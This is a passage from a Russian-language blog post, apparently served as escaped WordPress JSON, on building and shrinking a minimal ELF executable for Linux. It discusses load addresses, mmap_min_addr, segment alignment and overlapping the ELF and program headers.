\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 <code>0x1000<\/code>, \u043d\u043e \u0443\u0436\u0435 \u043a\u043e\u0433\u0434\u0430 \u0432\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0431\u044b\u043b\u0430 \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0438 \u043f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 Ubuntu Linux, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 <code>vm.mmap_min_addr<\/code> \u0440\u0430\u0432\u043d\u043e\u0435 <code>0x10000<\/code>. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u043e\u043e\u0431\u0449\u0435, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>0x8048100<\/code>, \u043e \u0447\u0451\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00abOperating System Specific (UNIX System V Release 4)\u00bb.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u043f\u0430\u043b\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u0437\u044f\u0442\u044c \u0431\u0430\u0439\u0442\u044b \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0438 \u043d\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0435\u043d\u044b \u043f\u043e <code>0x1000<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043a\u0430\u0437\u0430\u043d \u0432 <code>p_align<\/code>. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b\u0430, \u0430 \u043f\u043e\u0442\u043e\u043c \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0430\u0447\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0443\u0436\u0435 \u0441\u043e \u0441\u0442\u0430\u0440\u0442\u0430.<\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c, \u0447\u0442\u043e \u0432\u0441\u0451 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<\/p>\n<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0417\u0430\u043f\u0443\u0441\u043a \u043f\u0435\u0440\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0444\u0430\u0439\u043b\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u044b\u0435 79 \u0431\u0430\u0439\u0442, \u043d\u043e \u043e\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041d\u043e 93 \u0431\u0430\u0439\u0442\u0430 \u0442\u043e\u0436\u0435 \u043d\u0435\u043f\u043b\u043e\u0445\u043e, \u0445\u043e\u0442\u044c \u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442.<\/p>\n<h2>\u0421\u0436\u0438\u043c\u0430\u0435\u043c \u0444\u0430\u0439\u043b<\/h2>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440 \u0444\u0430\u0439\u043b\u0430, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0432 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0438\u0440\u0438\u0447\u043d\u043e\u043c \u043a\u043e\u0434\u0435:<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0412\u0438\u0434 \u0444\u0430\u0439\u043b\u0430 \u0441\u0431\u043e\u043a\u0443<\/figcaption><\/div>\n<\/figure>\n<p>\u041a\u0440\u0430\u0441\u043d\u044b\u043c \u043e\u0442\u043c\u0435\u0447\u0435\u043d \u043d\u0430\u0448 ELF-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, \u0437\u0435\u043b\u0451\u043d\u044b\u043c \u2014 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u043a\u043e\u0434.<\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u0441\u0440\u0430\u0437\u0443 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 8 \u0431\u0430\u0439\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 ELF \u0438 \u043f\u0435\u0440\u0432\u044b\u0445 8 \u0431\u0430\u0439\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u041f\u0440\u0438\u0447\u0451\u043c \u044d\u0442\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043d\u0430\u0441, \u043a\u0430\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u043e\u0432, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0430\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043d\u0435 \u043c\u043e\u0433\u043b\u0438 \u043d\u0438\u0447\u0435\u043c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0434\u0443\u043c\u0430\u0435\u043c \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0431\u044b \u043c\u044b \u0445\u043e\u0442\u0435\u043b\u0438<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-350574","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/350574","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=350574"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/350574\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=350574"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=350574"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=350574"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}